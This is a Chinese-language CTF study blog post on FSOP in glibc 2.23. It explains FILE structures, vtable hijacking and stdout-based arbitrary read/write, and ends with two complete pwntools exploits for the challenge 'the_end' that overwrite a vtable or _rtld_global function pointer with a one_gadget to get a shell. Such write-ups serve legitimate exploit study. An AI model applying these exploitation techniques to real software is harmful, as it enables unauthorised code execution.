0%

FSOP&the_end

FSOP学习

由于刷how2heap时碰到了一题zerostorage,这个题在ubuntu14上由于存在一个offset2lib的攻击,所以在泄露libc地址之后可以get到程序的地址,但是我复现这个题是在ubuntu16下面做的,所以这个攻击方法无效XD,得另寻他路,所以我找到了raycp师傅的这篇文章,上面提到了FSOP这个攻击姿势,理所当然我当然要啃一啃了,顺带借助了一下CTFwiki和师傅的另一篇博客

FILE *

首先来看一下FILE这个结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;//fd
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

_IO_FILE_plus&_IO_jump_t

还有FILE结构体的封装和vtable,当然最最主要的就是这个指针和这个table了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

调用链

table中对应函数的调用姿势会尝试着慢慢更新的,现在菜鸡学到的有这几种:

  1. 利用的是在程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vatable_setbuf 函数(wiki)

  2. puts 在源码中实现的函数是_IO_puts,这个函数的操作与 fwrite 的流程大致相同,函数内部同样会调用 vtable 中的_IO_sputn,结果会执行_IO_new_file_xsputn,最后会调用到系统接口 write 函数。(wiki)

  3. printf 调用栈(wiki):

    1
    2
    3
    4
    5
    6
    vfprintf+11
    _IO_file_xsputn
    _IO_file_overflow
    funlockfile
    _IO_file_write
    write

    自己试出来的几种,有些不同都是得自己去看源码啊(跪),好像和上面比起来没有看到那个overflow:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    ► f 0     7ffff7b042b0 write(没有setbuf,输出结尾有换行)
    f 1 7ffff7a85bff _IO_file_write+143
    f 2 7ffff7a87409 _IO_do_write+121
    f 3 7ffff7a87409 _IO_do_write+121
    f 4 7ffff7a8647d _IO_file_xsputn+669
    f 5 7ffff7a5a92d vfprintf+1981
    f 6 7ffff7a62899 printf+153
    f 7 40053e main+24

    ► f 0 7ffff7b042b0 write()(setbuf(stdout,0),输出结尾有换行)
    f 1 7ffff7a85bff _IO_file_write+143
    f 2 7ffff7a8638a _IO_file_xsputn+426
    f 3 7ffff7a8638a _IO_file_xsputn+426
    f 4 7ffff7a5cf94 buffered_vfprintf+308
    f 5 7ffff7a5a32d vfprintf+445
    f 6 7ffff7a62899 printf+153
    f 7 4005e2 main+44

    ► f 0 7ffff7b042b0 write(没有setbuf,输出结尾没有换行)
    f 1 7ffff7a85bff _IO_file_write+143
    f 2 7ffff7a87409 _IO_do_write+121
    f 3 7ffff7a87409 _IO_do_write+121
    f 4 7ffff7a89196 _IO_flush_all_lockp+374
    f 5 7ffff7a8932a _IO_cleanup+26
    f 6 7ffff7a46f9b __run_exit_handlers+139
    f 7 7ffff7a47045
    f 8 7ffff7a2d837 __libc_start_main+247

    ► f 0 7ffff7b042b0 write(setbuf(stdout,0),输出结尾没有换行)
    f 1 7ffff7a85bff _IO_file_write+143
    f 2 7ffff7a8638a _IO_file_xsputn+426
    f 3 7ffff7a8638a _IO_file_xsputn+426
    f 4 7ffff7a5cf94 buffered_vfprintf+308
    f 5 7ffff7a5a32d vfprintf+445
    f 6 7ffff7a62899 printf+153
    f 7 4005e2 main+44
  4. exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp
    控制stdinstdout或者stderr中实现fp->_mode <= 0以及fp->_IO_write_ptr > fp->_IO_write_base同时修改vtable里面的_IO_OVERFLOW为one gadget(来自raycp师傅的博客)

  5. 程序结束时在_dl_fini_中调用_rtld_global结构体的__rtld_lock_lock_recursive(来自raycp师傅的博客),准确来说这个不算FILE里面的,不过还是写一下记一下比较好

自己的调试代码

调试之前写了一个有0x40个a的test.txt(用python -c写进去的,因为无论用vim还是gedit好像都会在保存时自动加一个换行符,比较搞,用cat test.txt|hd就可以看到结尾是不是有换行符)

然后用下面的代码调试了一下…调试细节先放着,这个是帮我用来探索前面几个指针是怎么用的,还有很多细节其实都不太清楚,以后玩源码的时候再来看(结果写题的时候就发现直接用gdb p一下那个符号好像更明确….我佛了,不行就加上(_IO_FILE_plus *)转换一下地址的类型,这样看来代码写的好像多余了2333333)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>

void printFILE(FILE * tmp)
{
fprintf(stderr, "_flags:%#x\n",*(int*)((unsigned int)tmp+offsetof(_IO_FILE,_flags)));
fprintf(stderr, "_IO_read_ptr:%p\n",*(char**)((unsigned int)tmp+offsetof(_IO_FILE,_IO_read_ptr)));
fprintf(stderr, "_IO_read_end:%p\n",*(char**)((unsigned int)tmp+offsetof(_IO_FILE,_IO_read_end)));
fprintf(stderr, "_IO_read_base:%p\n",*(char**)((unsigned int)tmp+offsetof(_IO_FILE,_IO_read_base)));
fprintf(stderr, "_IO_write_base:%p\n",*(char**)((unsigned int)tmp+offsetof(_IO_FILE,_IO_write_base)));
fprintf(stderr, "_IO_write_ptr:%p\n",*(char**)((unsigned int)tmp+offsetof(_IO_FILE,_IO_write_ptr)));
fprintf(stderr, "_IO_write_end:%p\n",*(char**)((unsigned int)tmp+offsetof(_IO_FILE,_IO_write_end)));
fprintf(stderr, "_IO_buf_base:%p\n",*(char**)((unsigned int)tmp+offsetof(_IO_FILE,_IO_buf_base)));
fprintf(stderr, "_IO_buf_end:%p\n",*(char**)((unsigned int)tmp+offsetof(_IO_FILE,_IO_buf_end)));
fprintf(stderr, "_IO_save_base:%p\n",*(char**)((unsigned int)tmp+offsetof(_IO_FILE,_IO_save_base)));
fprintf(stderr, "_IO_backup_base:%p\n",*(char**)((unsigned int)tmp+offsetof(_IO_FILE,_IO_backup_base)));
fprintf(stderr, "_IO_save_end:%p\n",*(char**)((unsigned int)tmp+offsetof(_IO_FILE,_IO_save_end)));
fprintf(stderr, "_markers:%p\n",*(struct _IO_marker **)((unsigned int)tmp+offsetof(_IO_FILE,_markers)));
fprintf(stderr, "_chain:%p\n",*(struct _IO_FILE **)((unsigned int)tmp+offsetof(_IO_FILE,_chain)));
fprintf(stderr, "_fileno:%#x\n",*(int*)((unsigned int)tmp+offsetof(_IO_FILE,_fileno)));
fprintf(stderr, "_flags2:%#x\n",*(int*)((unsigned int)tmp+offsetof(_IO_FILE,_flags2)));
fprintf(stderr, "_old_offset:%#x\n",*(_IO_off_t *)((unsigned int)tmp+offsetof(_IO_FILE,_old_offset)));
fprintf(stderr, "_cur_column:%#x\n",*(unsigned short *)((unsigned int)tmp+offsetof(_IO_FILE,_cur_column)));
fprintf(stderr, "_vtable_offset:%#x\n",*(signed char *)((unsigned int)tmp+offsetof(_IO_FILE,_vtable_offset)));
fprintf(stderr, "_shortbuf:%#x\n",*(char *)((unsigned int)tmp+offsetof(_IO_FILE,_shortbuf)));
fprintf(stderr, "_lock:%#x\n\n",*(unsigned int*)(_IO_lock_t *)((unsigned int)tmp+offsetof(_IO_FILE,_lock)));

fprintf(stderr, "vatable*:%p\n\n",*(unsigned int **)((unsigned int)tmp+sizeof(_IO_FILE)));
}
int main(){
fprintf(stderr, "Let's see what FILE* have(x64):\n");
fprintf(stderr, "The fopen will malloc a chunk to store the FILE structure and return a ptr to the structure chunk");
fprintf(stderr, "Let's do fopen\n");
FILE *f=fopen("test.txt","r+");
fprintf(stderr, "And we can see what exactly the structure have at the beginning:\n");
printFILE(f);

fprintf(stderr, "Then we read something from the file(0x20)\n");
char buffer[0x30]={0};
fread(buffer,1,0x20,f);
fprintf(stderr, "buffer<%s><%#x>\n",buffer,strlen(buffer));
fprintf(stderr, "Now the FILE looks like:\n");
printFILE(f);

memset(buffer,0,0x30);
strcpy(buffer,"bbbbbbbbbbbbbbbb");
fprintf(stderr, "Then we write something to the file('b'*0x10)\n");
fwrite(buffer,1,strlen(buffer),f);
fprintf(stderr, "Now the FILE looks like:\n");
printFILE(f);

fprintf(stderr, "Try fflush\n");
fflush(f);
fprintf(stderr, "Now the FILE looks like:\n");
printFILE(f);

memset(buffer,0,0x30);
fprintf(stderr, "Read again(0x20)\n");
fread(buffer,1,0x20,f);
fprintf(stderr, "buffer<%s><%#x>\n",buffer,strlen(buffer));
fprintf(stderr, "Now the FILE looks like:\n");
printFILE(f);

memset(buffer,'*',0x30);
fprintf(stderr, "Write again('*'*0x20)\n");
fwrite(buffer,1,0x20,f);
fprintf(stderr, "Now the FILE looks like:\n");
printFILE(f);

fflush(f);

fclose(f);
fprintf(stderr, "Now the FILE looks like(Use after free):\n");
printFILE(f);
return 0;
}

其中最主要的大概是fopen时malloc了一个0x230的chunk来存放结构体,然后第一次调用fread时分配了一个0x1000的文件缓冲区,第一次会把文件的全部内容都读到这个缓冲区里面(正确与否有待深究,自己看来暂时是这样)

1582612886398

_chain域的链接此时结构大概是:_IO_list_all->f->_IO_2_1_stderr_->_IO_2_1_stdout_->_IO_2_1_stdin_->NULL

其中_IO_list_all是一个变量,存储着指向f结构体的指针(以上图为例就是0x603010),f在fopen操作时初始化的FILE*就被链入了这个链表

再就是fclose会直接把对应的两个chunk一起释放了,释放顺序是先释放文件缓冲区再释放结构体chunk

Hijack

至于vtable在_IO_FILE_plus中的偏移量,摘自wiki就是:在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8(wiki)

如果我们伪造一个vtable,然后修改对应FILE结构体的vtable指针指向我们伪造的vtable,就可以达到劫持程序的目的(不得不说vtable大法好啊23333)

目前 libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入的。不过,通过在可控的内存中伪造 vtable 的方法依然可以实现利用(wiki)

vatble对应的段属性如下所示,在不可写段:

1582618757197

(wiki上面关于修改vtable的描述已经很详细了,这里不再赘述,主要是以记笔记为主)

因为 vtable 中的函数调用时会把对应的_IO_FILE_plus指针作为第一个参数传递,因此这里我们把 “sh” 写入_IO_FILE_plus 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system(“sh”)
(或者直接试着填one_gadget

leak

(来自raycp师傅的博客)

控制stdout结构体满足以下条件实现任意泄露:

  • _IO_write_base指向想要泄露的地方。
  • _IO_write_ptr指向泄露结束的地址。
  • _IO_read_end等于_IO_write_base以绕过多余的代码。 满足这三个条件,可实现任意读。当然不包含结构体里的_flags字段的伪造,该字段都从原来的结构体里面复制过来,所以就没去分析该如何构造了。

Arbitrary write

(来自raycp师傅的博客)

_IO_write_end 大于_IO_write_ptr时,memcpy就会调用

只需要将_IO_write_ptr指向需要写的地址,_IO_write_end指向结束位置即可

有了任意读与任意写之后,具体实现就是使用任意读泄露libc地址,然后用任意写将one gadget写到malloc_hook中,然后利用%n报错或者是较大的字符打印来触发malloc函数

the_end

只看概念当然不代表会用了,肯定要写个题印象才深23333

程序分析

1582615573201

程序逻辑非常简单,就是给了一个libc地址,然后任意地址写5次,一次一字节,但是程序开启了PIE和Full RELRO,无法改写程序段的内容,这里我由于是第一次写FILE类型的题,所以就参考了师傅们的WP学了很多(看完的感触就是挖洞果然撸源码是王道啊….)

当然还有从各路师傅那听来的Ex师傅的博客,真的学到了不少东西

Exploit1

第一种办法是修改stdin/stdout/stderr任一FILE的vtable指针指向我们可控的区域,由于ubuntu libc2.23存放vtable的段不可写,所以不能直接改vtable。改指针的时候也特别巧妙,改的是指针第二个字节,所以可以在可写的段再去找合适的偏移,当然这里的解法都是参考raycp师傅学的新姿势,所以更清晰明了的解释就推荐去看原博主的文了

这个方法里面一共改了三处,5次:
第一处:stdin/stdout/stderr任一FILE的 _IO_write_ptr,使其大于_IO_write_base
第二处:对应vtable指针第二字节,改写的地址对应偏移需要有libc地址
第三处:对应偏移处有libc地址,修改低三字节

可能自己接触比较新的就是在libc找合适的地方去改地址
我用的命令是 search -p 0x7fxxxx -w,在GDB里面可以直接找到可写的而且有这个地址的内存,然后通过我们需要的偏移比对哪个地址是我们需要的,因为vtable里面是存在偏移的,如果实在是找不到可能就失败了,当然找到的概率还是很大的,毕竟师傅们的利用都这么多了XD

ps:原来这个就是FSOP,开始还以为FSOP是更深一点的知识,然后点开wiki的FSOP之后发现就是这个23333,一举两得?

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './the_end' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
my_u32 = lambda x: u32(x.ljust(4, '\0'))
global_max_fast=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

'''libc 2.23 x64
0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL
req = dest - old_top - 4*sizeof(long)

'''
# todo here
def writeByte(address,Byte):
p.send(p64(address))
sleep(0.1)
p.send(Byte)
sleep(0.1)

p.recvuntil('here is a gift ')
libc_base=int(p.recv(len('0x7f4ec6b9d230')),16)-libc.symbols['sleep']
loginfo('libc_base',libc_base)
'''stdout
stdout_IO_write_ptr=0x3c5648
stdout_vtable_off=0x3c56f8
address_off=0x3c53e0
func_off=0x3c53f8
'''
stdin_IO_write_ptr=0x3c4908
stdin_vtable_off=0x3c49b8
address_off=0x3c53e0
func_off=0x3c53f8

#gdb.attach(p,'brva 0x950')
writeByte(stdin_IO_write_ptr+libc_base,'\xff')
off=address_off+libc_base
off=(off>>8)&0xff
off=chr(off)
writeByte(stdin_vtable_off+libc_base+1,off)
one_off=0xf1147+libc_base
one_off1=chr(one_off&0xff)
one_off2=chr((one_off&0xff00)>>8)
one_off3=chr((one_off&0xff0000)>>16)

writeByte(func_off+libc_base,one_off1)
writeByte(func_off+libc_base+1,one_off2)
writeByte(func_off+libc_base+2,one_off3)

p.interactive()

Exploit2

第二种方法真的是让我感受到了函数指针的伟大23333,简直是Control the ptr ,control the world,这些利用都太奇妙了,再就是源码大法好,以后一定要多看看源码

这里是直接修改的_rtld_global._dl_rtld_lock_recursive这个函数指针….甚至是直接修改地址第三位就可以了…真的tql,被师傅们强大到,以后菜鸡一定多看看源码

直接放exp吧都没什么好写的了23333

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './the_end' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
my_u32 = lambda x: u32(x.ljust(4, '\0'))
global_max_fast=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

'''libc 2.23 x64
0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL
req = dest - old_top - 4*sizeof(long)
'''
# todo here
def writeByte(address,Byte):
p.send(p64(address))
sleep(0.1)
p.send(Byte)
sleep(0.1)

p.recvuntil('here is a gift ')
libc_base=int(p.recv(len('0x7f4ec6b9d230')),16)-libc.symbols['sleep']
loginfo('libc_base',libc_base)

ptr_off_set=0x5f0f48
one_gadget=0xf02a4+libc_base
off1=one_gadget&0xff
off2=(one_gadget&0xff00)>>8
off3=(one_gadget&0xff0000)>>16
#gdb.attach(p,'brva 0x950')
writeByte(libc_base+ptr_off_set,chr(off1))
writeByte(libc_base+ptr_off_set,chr(off1))
writeByte(libc_base+ptr_off_set,chr(off1))
writeByte(libc_base+ptr_off_set+1,chr(off2))
writeByte(libc_base+ptr_off_set+2,chr(off3))


p.interactive()